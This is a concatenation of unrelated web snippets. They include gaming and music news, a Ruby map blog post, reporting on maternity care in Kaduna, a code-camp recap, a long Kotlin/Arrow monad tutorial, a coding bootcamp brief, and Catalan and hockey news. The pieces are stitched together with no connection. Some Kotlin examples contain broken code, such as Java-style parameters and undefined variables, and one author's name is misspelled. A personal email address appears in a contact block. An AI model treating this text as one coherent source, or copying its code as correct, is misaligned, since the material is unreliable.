Project xCloud game streaming is getting DualShock 4 support
What you need to know
- Project xCloud is Microsoft's game streaming service.
- The platform launched in October on Android phones.
- Project xCloud is coming to Windows 10 in 2020.
- It's also getting more controller support.
Project xCloud is Microsoft's upcoming game streaming service along the lines of Google Stadia. The preview launched in October, and since then many gamers are testing it out on Android phones. However, it looks like that's about to change soon.
In a press release Windows Central received, the company said, "Next year, we'll bring Project xCloud to Windows 10... and are collaborating with a broad set of partners to make game streaming available on other devices as well." It's unclear what these other devices are at the moment, but iOS is probably on the list. We'll keep you posted as soon as Microsoft reveals what it's working on.
There are hundreds of millions of Windows 10 users out there, and not everyone wants to own a console. This is a great way to get them gaming. Hopefully, the quality will hold up on larger displays. In order to make the title work with existing hardware, Microsoft plans to support more Bluetooth controllers like Sony's DualShock 4 and devices from Razer.
Which controller will you use with Project xCloud? Let us know. It's great to have a lot of options, and it'll be interesting to see which peripherals gamers use when the ability rolls out in 2020.

- Best keyboards for PlayStation 4 in 2019
- Best PlayStation 4 Games
We may earn a commission for purchases using our links. Learn more.


Who Says What, When?
Charting Word Usages Across Reddit's Political Communities
After spending some time observing the 'common words' data, I realised that, on its own , it really isn't that useful. The words are often very similar day-to-day and I felt like that my observations were a little speculative.
I thought adding search functionality to the dataset might be useful, so I decided to build a way to create a timeseries bar chart so that I could compare word usage across the communities at a glance.
I'm pleased with the way this turned out. This utilizes the same data as the 'common words' visualization, just formatted in a different way.


The Cranberries shortlisted for first-ever Grammy Award
by SUZANNE MCGONAGLETHE Cranberries have been shortlisted for best rock album at the Grammy Awards.
It is their first ever Grammy nomination and comes almost two years after the death of lead singer Dolores O'Riordan.
The Limerick band released the album 'In the End' earlier this year as a tribute to O'Riordan.
During the making of the album, guitarist Noel Hogan, bassist Mike Hogan, drummer Fergal Lawler used vocal demos recorded by O'Riordan before her sudden death in January 2018.
'In the End' has been nominated for a Grammy alongside albums by Bring Me The Horizon, Cage The Elephant, I Prevail and Rival Sons.
The Grammy Awards take place in Los Angeles in January and will be hosted by singer Alicia Keys.


Welcome. In general, objects on the map can be clicked for current information. Be aware that information
displayed in the hud is outdated as soon as you click it.
You will have to work with events and callbacks to react on certain things.
Your objective is to regain the former glory of the family business. To do so, collect resources to build more
ships.
After manipulating your code, press the button in order to run it. But be careful: Many methods are asynchronous and code might still be running from the last execution!
TIP: use the global function `logger` for shallow logging into the output console.
You can register a callback function using the .on-method every entity has. Be aware that only one callback can be registered at a time. This means that
starShips[0].on("arrived", ship => logger('I am here'));
starShips[0].on("arrived", ship => logger('And now a second time'));
will only fire "And now a second time" as the first callback is overwritten. Place your callback functions accordingly!


---
layout: default
---
78% of participants stated that their preferred news format is digital.
Only 8% prefer television and newspapers.
In contrast, 42% of participants favour printed magazines.
17% favour digital magazines
I asked them how they primarily browse the internet. Here’s the result:
To consume movies and TV shows, almost half of the participants use paid Internet services.
34% use unpaid internet services.
79% of the participants stated that they are using another medium while watching TV.
- 65%
- Browse the web
- 51%
- Are text messaging
- 47%
- Use social media
- 37%
- Read/write emails
- 5%
- Read magazines
Only 33% of participants actively pay for listening to music.
18% pay per track/album
of the participants state that they barely attend to live performances, if at all.
56% are not concerned about social media being used for promotional purposes.
40% of participants log in into social networks daily.


Test
Tab stop 1
Tab stop 2
item 1
item 2
item 3
Tab stop 2
Welcome
About
Features
Site Browser
Training
Acknowledgements
New Account
Reset Password
Help
Opens in a new window
Tab stop 3


This demos shows extending code with V3 syntax. It creates a new extension of Node called _A_ which overrides the draw method and creates some Nodes and _A_ objects.


How to Use .maps
May 3, 2015
Before we start, I gotta admit: 1) the method is actually map and not maps, and 2) I don't know why its called map instead of something else like transform or change. I guess you could say that with the Enumerable#map method, you're essentially "mapping out directions." End of bad joke.
But really, let's actually try to stretch out this map analogy a little bit shall we? When you're Googling for directions to some place, you're basically asking, "What steps do I take to get from A to B?" With the Enumerable#map method, you're basically acting as Google Maps here by providing your program with steps to get from A (you're receiver object) to B (your output). I think I'm trying too hard with this map analogy, so I'm gonna stop.
Anyways, take a look at this example below:
In the example, the code is essentially saying, "do this to the current element." So by having "i*i" in the block, we're saying, multiply the current element by itself. The good thing about map, is that we actually end up returning a new array (yeeee for non-destructive!). The map method also allows you to "replace" the elements of a string in a sense, too, in that you could have done something like replace "i*i" with "no longer an integer," which would have returned an array with strings equal to "no longer an integer."
It gets kind of tricky, but don't over think it, just know that if you think out of the box a bit, you can actually make great use out of the map method. In the words of Albert Einstein:
Logic will get you from A to B. Imagination will take you everywhere.
Well, with coding, you kind of need both, but hopefully you get the point.


Another drawback for many mothers is that "staff who work in the health centers usually close at 4pm," Lawal Ibrahim said. In some places, they close earlier, he added.
Explaining further he said: "There are times when our wives go into labour after such hours. We take them on motorcycles or carts to the nearest hospital, which is usually no less than a 45minute bike ride, and at least one hour thirty minutes by bicycle," the Ibwa II resident said.
In the 10 kilometer perimeter of the railway community, Issa in Kagarko Local Government Area of Kaduna State, there were no health facilities in site beyond a grossly under-equipped patent medicine store at the top of the road leading into the community.
Therefore, in case of an emergency or labour at night, "we are at the mercy of our husbands' motorcycles or bicycles, and sometimes even donkeys" said, Maimuna Jafaru.
"It is a lot easier to access the TBAs because they are in the community with us. They have had this training all their lives, so even when you knock on their doors at midnight, it is with excitement that they welcome you. There is no waste of time or ceremony, as they immediately get to work.
Hajiya Hadiza Adamu ,a TBA in the community said, "we know the pregnant women and when we see their stomachs and when they start dropping, we know those who will soon be knocking on our doors."
She showed off her clay pots, dried herbs and other appliances with which she works, adding "the fresh materials we need, we can easily source for from the nearby bushes or get from our neighbours."


face No uglies or fake hotties, just regular people like you.
record_voice_over See what they are saying and doing.
pan_tool High Five the people you want to message.
pan_tool Low Five the haters and fakers.
thumb_up Match people on things you like...
thumb_down ...as well as things you don't.
check_box_outline_blank Pick what you need in a partner...
check_box ...and meet your partner's needs.


This October I was fortunate enough to be able to attend Silicon Valley Code Camp at Foothill Community College in sunny Los Altos, California. A two-day event, SVCC consisted of a diverse collection of tech talks and demos. A stronge presence of corporate sponsors such as Google, Box, Adobe, Microsoft, Bitbucket, Twilio, and 10gen ensured an ample supply of coffee, muffins, and catered sandwiches for the 2,247 in attendance. This was the first tech conference I have attended, and while I am the spritely age of 21, I noticed I was one of the youngest people on site.
Day 1, Saturday
The morning kicked off with a personal highlight, hearing Douglas Crawford, author of one of my favorite technical books, Javascript: The Good Parts, give his “ECMAScript 5: The New Parts” talk. His presentation sparked a fantastic discussion on the future direction of Javascript and its role in web development as well as its surge in popularity among mobile frameworks.
For my next talk I headed over to an “Introduction to MongoDB,” given by Manish Pandit, Director of Engineering at IGN. It’s rare that binary JSON, server replication, and humor are combined in a presentation but a great job was done entertaining the crowded auditorium while we learned the basics of MongoDB. We viewed ad-hoc queries being made on production servers (I hope he didn’t get in trouble!) and got a great look at being productive with the mongo shell.
After sandwiches provided courtesy of Google, I went to an Android Tablet application programming session which showed off the capabilities of the Android 3.x SDK. We used working code snippets to demonstrate some of the new features and picked through a couple sample applications.
Day 2, Sunday
With the passing of Steve Jobs less than a week earlier, many of us gathered in a packed room Sunday to mourn the loss of one of the world’s greatest leaders and innovators. Many attendees shared personal anecdotes of their encounters with Steve that lent unique insight into his world.
I followed this with an in-depth session exploring the world that is Vim. Many people in the crowd were split by the question of their favorite code editor and soon a strong, but informed, debate ensued between the entrenched users of Vim and Emacs. This session was just as much about development practices as much as it was about programming culture and I got to pick up many great insights on achieving maximum workflow productivity.
I finished the afternoon with a session on current and upcoming trends in web analytics. This fascinating presentation discussed the rise in event-based tracking as well as the emerging desire for mobile application analytics. Considering Leftronic, the startup I started working for in September, offers a lot of dashboard widgets utilizing APIs for web analytics, I felt like I walked away from this session with a newfound understanding of web analytics and their importance in generating actionable business intelligence data.
In addition to the many interesting topics I was exposed to at the tech talks, I got to demo the latest Windows Phone Mango update, watch an autonomous robot navigate with just Microsoft Kinect sensors, and see fork bombs test the autoscaling capabilities of some cloud-hosted applications.


main
My Contact Information
Address: 1234 streee, city, CA 12345, USA
Cell: xxx-xxx-xxxx
Email:
leah.k.sung@gmail.com


REST API Docs¶
ASAB’s API service generates a Swagger documentation which automatically shows all of your endpoints and you can add summaries, descriptions, tags and more.
If you want Authorization in Swagger docs, you will need an OpenIDConnect endpoint.
In your microservice¶
First you need to initialize the API Service:
# Initialize API service
self.ApiService = asab.api.ApiService(self)
# Introduce Web to API Service
self.ApiService.initialize_web()
After initializing the API Service a /doc endpoint will become available. You will notice that some or none of your endpoints have summaries, tags or descriptions.
That’s because you need to add a docstring to your endpoint method:
async def endpoint(self, request):
"""
Summary looks like this and takes the first line from docstring.
Description of what this endpoint does.
---
tags: [asab.mymicroservice]
"""
Also by adding a docstring to your ASAB Application, a description will be automatically added to the top of the Swagger docs:
class TutorialApp(asab.Application):
"""
TutorialApp is the best microservice in the world!
<marquee>The description supports HTML tags</marquee>
"""
Configuration¶
For authorization you will need to add a authorizationUrl and tokenUrl:
[asab:doc]
authorizationUrl=http://localhost:8080/openidconnect/authorize
tokenUrl=http://localhost:8080/openidconnect/token
If you have an endpoint that requires a scope, you can add it with the configuration file:
[asab:doc]
scopes=read,write


# this example works with Giotto v.0.1.3
library(Giotto)
## create instructions
## instructions allow us to automatically save all plots into a chosen results folder
## Here we will not automatically save plots, for an example see the visium kidney dataset
## We will only set the python path which is needed for certain analyses
my_python_path = "/Users/rubendries/Bin/anaconda3/envs/py36/bin/pythonw"
results_folder = '/path/to/Visium/Brain/191204_results//'
instrs = createGiottoInstructions(python_path = my_python_path)
10X genomics recently launched a new platform to obtain spatial expression data using a Visium Spatial Gene Expression slide.


Personal Deck Composition by Color
| Color |
% of Deck |
| Black |
{{myColors.Black}} |
| Blue |
{{myColors.Blue}} |
| Green |
{{myColors.Green}} |
| Red |
{{myColors.Red}} |
| White |
{{myColors.White}} |
| Colorless |
{{myColors.Colorless}} |
| |
Personal Deck Composition by Type
| Type |
% of Deck |
| Artifact |
{{myTypes.Artifact}} |
| Creature |
{{myTypes.Creature}} |
| Enchantment |
{{myTypes.Enchantment}} |
| Instant |
{{myTypes.Instant}} |
| Land |
{{myTypes.Land}} |
| Planeswalker |
{{myTypes.Planeswalker}} |
| Sorcery |
{{myTypes.Sorcery}} |
|


{tag_bordercolor} | Social plug-in border color |
{tag_colorscheme} | Social plug-in color scheme |
{tag_font} | Social plug-in font |
{tag_height} | Height for Facebook Comments in pixels |
{tag_locale} | Current locale |
{tag_recommendations} | Enable Social plug-in recommendations |
{tag_url} | URL for Comments social plug-in |
{tag_width} | Width for Facebook Comments in pixels |


BMI Calculator
BMI Calculator
Using metric method
Weight in kg
Height in cm
Using imperial method
Weight in pounds
Height in feets
Height in inches


intermediate
This doc has been adapted from Mikhail Shilkov’s blog entry Monads explained in C# (again)
. It attempts to explain the rationale behind Monads, providing simple examples and how they relate to standard library constructs.
If you’re just interested in the API, head down to the Monad
typeclass page.
I love functional programming for the simplicity that it brings.
But at the same time, I realize that learning functional programming is a challenging process. FP comes with a baggage of unfamiliar vocabulary that can be daunting for somebody coming from an object-oriented language like Kotlin.
some of functional lingo
Monad
is probably the most infamous term from the list above. Monads have reputation of being something very abstract and very confusing.
Numerous attempts were made to explain monads in simple definitions; and monad tutorials have become a genre of its own. And yet, times and times again, they fail to enlighten the readers.
The shortest explanation of monads looks like this:
A Monad is just a monoid in the category of endofunctors
It’s both mathematically correct and totally useless to anybody learning functional programming. To understand this statement, one has to know the terms “monoid”, “category” and “endofunctors” and be able to mentally compose them into something meaningful.
The same problem is apparent in most monad tutorials. They assume some pre-existing knowledge in heads of their readers, and if that assumption fails, the tutorial doesn’t click.
Focusing too much on mechanics of monads instead of explaining why they are important is another common problem.
Douglas Crockford grasped this fallacy very well:
The monadic curse is that once someone learns what monads are and how to use them, they lose the ability to explain them to other people
The problem here is likely the following. Every person who understands monads had their own path to this knowledge. It hasn’t come all at once, instead there was a series of steps, each giving an insight, until the last final step made the puzzle complete.
But they don’t remember the whole path anymore. They go online and blog about that very last step as the key to understanding, joining the club of flawed explanations.
There is an actual academic paper from Tomas Petricek that studies monad tutorials.
I’ve read that paper and a dozen of monad tutorials online. And of course, now I came up with my own.
I’m probably doomed to fail too, at least for some readers.
The base element of each functional program is Function. In typed languages each function is just a mapping between the type of its input parameter and output parameter. Such type can be annotated as func: TypeA -> TypeB
.
Kotlin is an object-oriented language, so we use methods to declare functions. There are two ways to define a method comparable to function func
above. I can use a top level “static” method:
fun func(a: ClassA): ClassB { ... }
… or an instance method:
class ClassA {
// Instance method
fun func(): ClassB { ... }
}
The top level form looks closer to the function notation, but both ways are actually equivalent for the purpose of our discussion. I will use instance methods in my examples, however all of them could be written as top level extension methods too.
How do we compose more complex workflows, programs and applications, out of such simple building blocks? A lot of patterns in both OOP and FP worlds revolve around this question. And monads are one of the answers.
My sample code is going to be about conferences and speakers. The method implementations aren’t really important, just watch the types carefully. There are 4 classes (types) and 3 methods (functions):
class Speaker {
fun nextTalk(): Talk { ... }
}
class Talk {
fun getConference(): Conference { ... }
}
class Conference {
fun getCity(): City { ... }
}
class City { ... }
These methods are currently very easy to compose into a workflow:
fun nextTalkCity(speaker: Speaker): City {
val talk = speaker.nextTalk()
val conf = talk.getConference()
val city = conf.getCity()
return city
}
Because the return type of the previous step always matches the input type of the next step, we can write it even shorter:
fun nextTalkCity(speaker: Speaker): City =
speaker
.nextTalk()
.getConference()
.getCity()
This code looks quite readable. It’s concise and it flows from top to bottom, from left to right, similar to how we are used to read any text. There is not much noise too.
That’s not what real codebases look like though, because there are multiple complications along the happy composition path. Let’s look at some of them.
Any class instance in Kotlin can be null. In the example above I might get runtime errors if one of the methods ever returns null back.
Typed functional programming always tries to be explicit about types, so I’ll re-write the signatures of my methods to annotate the return types as nullables:
class Speaker {
fun nextTalk(): Talk? { ... }
}
class Talk {
fun getConference(): Conference? { ... }
}
class Conference {
fun getCity(): City? { ... }
}
class City { ... }
Now, when composing our workflow, we need to take care of null results:
fun nextTalkCity(speaker: Speaker?): City? {
if (speaker == null) return null
val talk = speaker.nextTalk()
if (talk == null) return null
val conf = talk.getConference()
if (conf == null) return null
val city = conf.getCity()
return city
}
It’s still the same method, but it got more noise now. Even though I used short-circuit returns and one-liners, it still got harder to read.
To fight that problem, smart language designers came up with the Safe Call Operator:
fun nextTalkCity(speaker: Speaker?): City? {
return
speaker
?.nextTalk()
?.getConference()
?.getCity()
}
Now we are almost back to our original workflow code: it’s clean and concise, we just got 3 extra ?
symbols around.
Let’s take another leap.
Quite often a function returns a collection of items, not just a single item. To some extent, that’s a generalization of null
case: with T?
we might get 0 or 1 results back, while with a collection we can get 0 to any n results.
Our sample API could look like this:
class Speaker {
fun getTalks(): List<Talk> { ... }
}
class Talk {
fun getConferences(): List<Conference> { ... }
}
class Conference {
fun getCities(): List<City> { ... }
}
I used List<T>
but it could be any class or even a Sequence<T>
.
How would we combine the methods into one workflow? The traditional version would look like this:
fun allCitiesToVisit(speaker: Speaker): List<City> {
val result = mutableListOf<City>()
for (talk in speaker.getTalks())
for (conf in talk.getConferences())
for (city in conf.getCities())
result.add(city)
return result
}
It reads ok-ish still. But the combination of nested loops and mutation with some conditionals sprinkled on them can get unreadable pretty soon. The exact workflow might be lost in the mechanics.
As an alternative, the Kotlin language designers included extension methods. We can write code like this:
fun allCitiesToVisit(speaker: Speaker): List<City> {
return
speaker
.getTalks()
.flatMap { talk -> talk.getConferences() }
.flatMap { conf -> conf.getCities() }
}
Let me do one further trick and format the same code in an unusual way:
fun allCitiesToVisit(Speaker speaker): List<City> {
return
speaker
.getTalks() .flatMap { x -> x
.getConferences() }.flatMap { x -> x
.getCities() }
}
Now you can see the original original code on the left, combined with just a bit of technical repetitive clutter on the right. Hold on, I’ll show you where I’m going.
Let’s discuss another possible complication.
What if our methods need to access some remote database or service to produce the results? This should be shown in type signature,
and we can imagine a library providing a Task<T>
type for that:
class Speaker {
fun nextTalk(): Task<Talk> { ... }
}
class Talk {
fun getConference(): Task<Conference> { ... }
}
class Conference {
fun getCity(): Task<City> { ... }
}
This change breaks our nice workflow composition again.
fun nextTalkCity(speaker: Speaker): Task<City> {
return
speaker.nextTalk().execute()
.then { talk -> talk.getConference() }.execute()
.then { conf -> conf.getCity() }.execute()
}
Hard to read, but let me apply my formatting trick again:
fun nextTalkCity(speaker: Speaker): Task<City> {
return
speaker
.nextTalk() .execute().then { x -> x
.getConference() }.execute().then { x -> x
.getCity() }
}
You can see that, once again, it’s our nice readable workflow on the left plus some mechanical repeatable junction code on the right.
Can you see a pattern yet?
I’ll repeat the T?
, List<T>
Task<T>
-based workflows again:
fun nextTalkCity(speaker: Speaker?): City? {
return
speaker ?
.nextTalk() ?
.getConference() ?
.getCity()
}
fun allCitiesToVisit(speaker: Speaker): List<City> {
return
speaker
.getTalks() .flatMap { x -> x
.getConferences() }.flatMap { x -> x
.getCities() }
}
fun nextTalkCity(speaker: Speaker): Task<City> {
return
speaker
.nextTalk() .execute().then { x -> x
.getConference() }.execute().then { x -> x
.getCity() }
}
In all 3 cases there was a complication which prevented us from sequencing method calls fluently. In all 3 cases we found the gluing code to get back to fluent composition.
Let’s try to generalize this approach. Given some generic container type WorkflowThatReturns<T>
, we have a method to combine an instance of such workflow with a function which accepts the result of that workflow and returns another workflow back:
class WorkflowThatReturns<T> {
fun addStep(step: (T) -> WorkflowThatReturns<U>): WorkflowThatReturns<U>
}
In case this is hard to grasp, have a look at the picture of what is going on:
An instance of type T
sits in a generic container.

We get an instance of U
but inside two containers.
Two containers are automatically unwrapped into a single container to get back to the original shape.
Now we are ready to add another step!
In the following code, nextTalk
returns the first instance inside the container:
fun workflow(speaker: Speaker): WorkflowThatReturns<City> {
return
speaker
.nextTalk()
.addStep { x -> x.getConference() }
.addStep { x -> x.getCity() }
}
Subsequently, addStep
is called two times to transfer to Conference
and then City
inside the same container:
The name of this pattern is Monad.
In Arrow terms, a Monad is an interface with two operations: a constructor just
, and flatMap
.
interface Monad<F>: Applicative<F>, Functor<F> {
fun <A> just (instance: A): Kind<F, A>
fun <A, B> Kind<F, A>.flatMap(f: (A) -> Kind<F, B>) : Kind<F, B>
}
See that instead of WorkflowThatReturns<A>
our containers are called Kind<F, A>
, where F
is the generic parameter of the container and A
the generic parameter of the content. We talk more about them in the glossary.
The constructor just
is used to put an object into a container Kind<F, A>
, and flatMap
is used to replace one contained object with another contained object.
It’s important that flatMaps
’s argument returns Kind<F, B>
and not just B
, as this new contained object can have different behavior, like a left branch of Either
or an async execution of IO
.
We can think of flatMap
as a combination of map
and flatten
as defined by the following signature:
fun <F, A, B> Kind<F, A>.map(f: (A) -> B): Kind<F, B> // Inherited from Functor
fun <F, A> Kind<F, Kind<F, A>>.flatten(): Kind<F, A>
container
.map { x -> just(x + 1) } // Kind<F, Kind<F, Int>>
.flatten() // Kind<F, Int>
Even though I spent quite some time with examples, I expect you to be slightly confused at this point. That’s ok.
Keep going and let’s have a look at several sample implementations of Monad pattern.
My first example was with nullable ?
. The full pattern containing either 0 or 1 instance of some type is called Option (it maybe has a value, or maybe not).
Option is another approach to dealing with “no value” value, alternative to the concept of null. You can read more about Option
to see how Arrow implemented it.
When null is not allowed, any API contract gets more explicit: either you return type T
and it’s always going to be filled, or you return Option<T>
.
The client will see that Option type is used, so it will be forced to handle the case of absent value.
Given an imaginary repository contract (which does something with customers and orders):
interface OptionAwareRepository {
fun getCustomer(id: Int): Option<Customer>
fun getAddress(id: Int): Option<Address>
fun getOrder(id: Int): Option<Order>
}
The client can be written with flatMap
method composition, without branching, in fluent style:
fun shipperOfLastOrderOnCurrentAddress(customerId: Int): Option<Shipper> =
repo.getCustomer(customerId)
.flatMap { c -> c.address }
.flatMap { a -> repo.getAddress(a.id) }
.flatMap { a -> a.lastOrder }
.flatMap { lo -> repo.getOrder(lo.id) }
.flatMap { o -> o.shipper }
Sequence is an interface for enumerable containers.
You might have used Sequence<T>
before, but what you probably didn’t know is that it’s a container type that fills the requirements of a Monad: sequences can be constructed, and they can be flatMapped.
Here’s the signature of flatMap
as defined in the Kotlin standard library:
fun <T, R> Sequence<T>.flatMap(
transform: (T) -> Sequence<R>
): Sequence<R>
And here is an example of composition:
val shippers: Sequence<Shipper> =
customers
.flatMap { c -> c.addresses }
.flatMap { a -> a.orders }
.flatMap { o -> o.shippers }
The query has no idea about how the collections are stored (encapsulated in containers). We use functions of type A -> Sequence<B>
to produce new sequences using the flatMap
operation.
In the Kotlin coroutines library Deferred<T>
type is used to denote asynchronous computation which will eventually return an instance of T
.
The other names for similar concepts in other languages are Promise and Future.
While the typical usage of Deferred in Kotlin is different from the Monad pattern we discussed, I can still come up with a Future class with the familiar structure:
class Future<T>(
val instance: Deferred<T>
): Kind<ForFuture, A> {
constructor(instance: T) {
this.instance = async(LAZY) { instance }
}
constructor(instance: Deferred<T>) {
this.instance = instance
}
fun <U> flatMap(func: (T) -> Future<U>): Future<U> =
Future(async(LAZY) {
val t = instance.await()
func(t).await()
})
fun runSync(action: (Try<T>) -> Unit) =
runBlocking { action(Try { instance.await() }) }
}
Effectively, it’s just a wrapper around the Deferred which doesn’t add too much value, but it’s a useful illustration because now we can do:
repository
.loadSpeaker()
.flatMap { speaker -> speaker.nextTalk()
.flatMap { talk -> talk.getConference() }
.flatMap { conference -> conference.getCity().map { it to speaker } }
}
.runSync { (city, speaker) -> city.fold(
{ Logger.logError(it); reservations.cancel() },
{ reservations.bookFlight(speaker, city) })
}
We are back to the familiar structure. Time for some more complications.
We’re going to dispel one common misconception. Sometimes the word Monad is used to refer to types like Option, Future, Either… and so on, and that’s not correct. Those are called datatypes or just types. Let’s see the difference!
As you have seen, neither Future nor Option implement Monad directly.
This is intentional, as you can potentially have several Monad implementations for a single type.
For example, RxJava’s Observable can be chained using flatMap
, switchMap
, and concatMap
, and using each is still a Monad.
Instead, Arrow specifies that Monad must be implemented by a separate object or class, referred as the “instance of Monad for type F”.
object FutureMonad: Monad<ForFuture> {
override fun <A> just (instance: A): Future<A> =
Future(a)
override fun <A, B> Kind<ForFuture, A>.flatMap(f: (A) -> Kind<ForFuture, B>): Future<B> =
flatMap(f) // as per precedence rules the class method is called
}
object OptionMonad: Monad<ForOption> {
override fun <A> just (instance: A): Option<A> =
Some(a)
// OptionOf<T> is an alias for Kind<ForOption, T>
override fun <A, B> OptionOf<A>.flatMap(f: (A) -> OptionOf<B>): Option<B> =
flatMap(f)
}
object ObservableSwitchMonad: Monad<ForObservable> {
override fun <A> just (instance: A): Observable<A> =
Observable.just(a)
// ObservableOf<T> is an alias for Kind<ForObservable, T>
override fun <A, B> ObservableOf<A>.flatMap(f: (A) -> ObservableOf<B>): Observable<B> =
switchMap(f)
}
object ObservableConcatMonad: Monad<ForObservable> {
override fun <A> just (instance: A): Observable<A> =
Observable.just(a)
// ObservableOf<T> is an alias for Kind<ForObservable, T>
override fun <A, B> ObservableOf<A>.flatMap(f: (A) -> ObservableOf<B>): Observable<B> =
concatMap(f)
}
What are the benefits of separating the instances from the direct implementation, causing a duplication in methods and an extra layer of indirection?
The main use case is allowing you to write code that is generic for any object that can provide a Monad instance object.
fun <F> Monad<F>.shipperOfLastOrderOnCurrentAddress(customerId: Int): Kind<F, Shipper> =
repo.getCustomer(customerId)
.flatMap { c -> c.address }
.flatMap { a -> repo.getAddress(a.id) }
.flatMap { a -> a.lastOrder }
.flatMap { lo -> repo.getOrder(lo.id) }
.flatMap { o -> o.shipper }
In this case, like with any other interface, Monad defines the API and behavior but not the implementation details. This pattern is specially useful for libraries that must remain agnostic to implementations, and gives them a lingua franca when building on top of each other.
Using the Monad and other similar abstractions, Arrow can provide a rich collection of extension functions and new language extensions that can be reused by other codebases.
You can read more about generalizing code in the glossary and typeclasses intro.
Up until now, all the composed workflows had very linear, sequential structure: the output of a previous step was always the input for the next step. That piece of data could be discarded after the first use because it was never needed for later steps:
Quite often though, this might not be the case. A workflow step might need data from two or more previous steps combined.
In the example above, bookFlight
method might actually needs both Speaker
and City
objects:
In this case, we would have to use a lambda to save the speaker variable until we get a talk too:
repository
.loadSpeaker()
.runSync { speaker ->
speaker
.nextTalk()
.flatMap { talk -> talk.getConference() }
.flatMap { conference -> conference.getCity() }
.runSync { city -> city.fold(
{ Logger.logError(it); reservations.cancel() },
{ reservations.bookFlight(speaker, city) })
}
)
}
Obviously, this gets ugly very soon.
To solve this structural problem the Kotlin language introduced coroutines, the design of which was inspired by other languages such as C# and JavaScript.
If we move back to using Deferred instead of our custom Future, we are able to write
val speaker = repository.loadSpeaker().await()
val talk = speaker.nextTalk().await()
val conference = talk.getConference().await()
val city = conference.getCity().await()
reservations.bookFlight(speaker, city).await()
Even though we lost the fluent syntax, at least the block has just one level, which makes it easier to read and navigate.
By using coroutines Arrow provides a specialization that enables readable async/await style code for any Monad.
This specialization can be accessed using the function binding
on any Monad, and the method bind
. Internally, Monad#flatMap
is used for chaining.
fun <F> bookSpeakersFlights(M: Monad<F>): Kind<F, Reservation> =
M.binding {
val (speaker) = repository.loadSpeaker()
val (talk) = speaker.nextTalk()
val (conference) = talk.getConference()
val (city) = conference.getCity()
reservations.bookFlight(speaker, city).bind()
}
bookSpeakersFlights(ObservableSwitchMonad).fix() // Observable<Reservation>
bookSpeakersFlights(OptionMonad).fix() // Option<Reservation>
bookSpeakersFlights(ListMonad).fix() // List<Reservation>
These are called Monad Comprehensions, and you can find a complete section of the docs explaining it.
There are a couple laws that just
constructor and flatMap
need to adhere to, so that they produce a Monad with a stable implementation.
These laws are encoded in Arrow as tests you can find in the arrow-test
module, and are already tested for all instances in the library.
A typical monad tutorial will make a lot of emphasis on the laws, but I find them less important to explain to a beginner. Nonetheless, here they are for the sake of completeness.
Left Identity law
says that Monad constructor is a neutral operation: you can safely run it before flatMap
, and it won’t change the result of the function call:
// Given
val value: A
val f: (A) -> Kind<F, B>
// Then (== means both parts are equivalent)
just(value).flatMap(f) == f(value)
Right Identity law
says that given a monadic value, wrapping its contained data into another monad of same type and then flatMap
it, doesn’t change the original value:
// Given
val monadicValue: Kind<F, A>
// Then (== means both parts are equivalent)
monadicValue.flatMap { x -> just(x) } == monadicValue
Associativity law
means that the order in which flatMap
operations are composed does not matter:
// Given
val m: Kind<F, T>
val f: (T) -> Kind<F, U>
val g: (T) -> Kind<F, V>
// Then (== means both parts are equivalent)
m.flatMap(f).flatMap(g) == m.flatMap { a -> f(a).flatMap(g) }
The laws may look complicated, but in fact they are very natural expectations that any developer has when working with monads, so don’t spend too much mental effort on memorizing them.
You should not be afraid of the “M-word” just because you are a Kotlin programmer.
Kotlin does not have a notion of monads as predefined language constructs, but that doesn’t mean we can’t borrow some ideas from the functional world. Having said that, it’s also true that Kotlin is lacking some powerful ways to combine and generalize monads that are available in functional programming languages.


You need higher permissions to access this resource, login here
You need to login to access this resource, login here


Let's start out with something fun - a game!
Everyone will get a chance to be creative, and work through some really tough programming challenges – since you've already gotten your feet wet, it's up to you to come up with a fun and interesting game to build.
You will be working individually for this project, but we'll be guiding you along the process and helping as you go. Show us what you've got!
Your app must:
your_username.github.io
in a folder called project1
. It will then be accessible via http://your_username.github.io/project1/your_username.github.io
readme.md
file with explanations of the technologies used, the approach taken, installation instructions, unsolved problems, etc.Make a one player game where people down on their luck can lose all their money by guessing which card the computer will deal next!
Sometimes just called "Memory", it's a card game in which all of the cards are laid face down on a surface and two cards are flipped face up over each turn. If you get all the matching cards, you've won!
Test your wits & knowledge with whatever-the-heck you know about (so you can actually win). Guess answers, have the computer tell you how right you are!
Project Workflow: Did you complete the user stories, wireframes, task tracking, and/or ERDs, as specified above? Did you use source control as expected for the phase of the program you’re in (detailed above)?
Technical Requirements: Did you deliver a project that met all the technical requirements? Given what the class has covered so far, did you build something that was reasonably complex?
Creativity: Did you added a personal spin or creative element into your project submission? Did you deliver something of value to the end user (not just a login button and an index page)?
Code Quality: Did you follow code style guidance and best practices covered in class, such as spacing, modularity, and semantic naming? Did you comment your code as your instructors have in class?
Deployment: Did you deploy your application to a public url using GitHub Pages?
Total: Your instructors will give you a total score on your project between:
Score | Expectations ----- | ------------ 0 | Incomplete. 1 | Does not meet expectations. 2 | Meets expectations, good job! 3 | Exceeds expectations, you wonderful creature, you!
This will serve as a helpful overall gauge of whether you met the project goals, but the more important scores are the individual ones above, which can help you identify where to focus your efforts for the next project!


Catalan president goes on trial for ‘disobedience’
by Agency ReportThe president of Catalonia’s regional government went on trial in Barcelona on Monday for “disobedience” after refusing to remove separatist symbols from public buildings, amid heightened tensions in the Spanish region.
Prosecutors have called for Quim Torra to be declared ineligible for public office for 20 months, which would make it impossible for him to remain president of the wealthy region.
His trial comes after Spain’s Supreme Court on October 14 sentenced nine Catalan separatist leaders to lengthy jail terms over an abortive 2017 independence bid, setting off a wave of angry protests that repeatedly descended into violence.
In March, Spanish electoral authorities ordered Torra to remove separatist symbols from public buildings to respect institutional neutrality ahead of parliamentary elections in April.
They objected in particular to a banner outside the Catalonian regional government headquarters that read “Freedom for political prisoners and exiles” next to a yellow ribbon indicating support for the detained Catalan separatist leaders who were sentenced last month.
The Catalan government ignored two deadlines to take the banner down before finally ceding just before a planned police intervention.
Catalonia’s parliament and its regional government are dominated by separatist parties, but the region itself remains deeply divided and the recent crisis has exacerbated the split.
(AFP)


Building websites for desktop browsers isn’t enough, and building a site for each new device that hits the market isn’t smart. We take a responsive approach to building for the web so that sites flex & scale to fit whichever browser or device people are using. Additional clients we’ve worked with:


Canadian minor hockey dropping traditional age-group names
by Cleve DheensawWhen it comes to minor hockey, say goodbye to Atom, Novice, Peewee, Bantam and Midget.
Say hello to Under-7 through Under-21.
Hockey Canada announced the sweeping change to its age classification system — to take effect next season — during its winter congress held Monday in Calgary.
The new categories will be U-7, U-9, U-11, U-13, U-15, U-18 and U-21.
